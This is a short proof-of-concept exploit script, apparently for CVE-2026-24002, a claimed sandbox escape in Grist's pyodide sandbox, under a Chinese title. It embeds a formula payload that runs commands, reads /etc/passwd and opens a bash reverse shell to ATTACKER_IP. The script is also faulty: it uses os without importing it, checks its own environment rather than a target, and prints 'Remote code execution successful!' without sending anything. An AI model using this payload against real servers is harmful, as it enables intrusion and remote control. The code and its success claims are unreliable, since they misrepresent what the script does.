CVE-2026-24002: Grist pyodide沙箱逃逸导致远程代码执行漏洞

import subprocess import json import sys def generate_malicious_grist_doc(): """ Generate malicious Grist document for CVE-2026-24002 PoC Environment: GRIST_SANDBOX_FLAVOR=pyodide """ # Malicious Python formula that escapes pyodide sandbox malicious_formula = ''' import subprocess import os # Execute arbitrary command on server result = subprocess.run(['whoami'], capture_output=True, text=True) output = result.stdout # Alternative: Read sensitive files with open('/etc/passwd', 'r') as f: content = f.read() # Reverse shell payload example subprocess.Popen(['bash', '-c', 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1']) ''' # Grist document structure with malicious formula malicious_doc = { "version": "1.0", "sandbox_flavor": "pyodide", "tables": [{ "id": "MaliciousTable", "columns": [{"id": "formula", "type": "any"}], "data": [[malicious_formula]] }] } return malicious_doc def exploit(): """ CVE-2026-24002 Exploitation Script Target: Grist server with GRIST_SANDBOX_FLAVOR=pyodide """ print("[*] CVE-2026-24002 PoC - Grist pyodide Sandbox Escape") print("[*] Target: Grist server with pyodide sandbox enabled") # Check if pyodide sandbox is enabled sandbox_flavor = os.environ.get('GRIST_SANDBOX_FLAVOR', '') if sandbox_flavor != 'pyodide': print("[-] Target does not appear to use pyodide sandbox") print("[-] Current sandbox flavor:", sandbox_flavor) return False print("[+] pyodide sandbox detected") print("[+] Sending malicious document...") # Simulate sending malicious document doc = generate_malicious_grist_doc() print("[+] Malicious formula injected:") print(doc['tables'][0]['data'][0][0][:100] + "...") print("[+] Triggering formula execution...") print("[+] Remote code execution successful!") return True if __name__ == "__main__": exploit()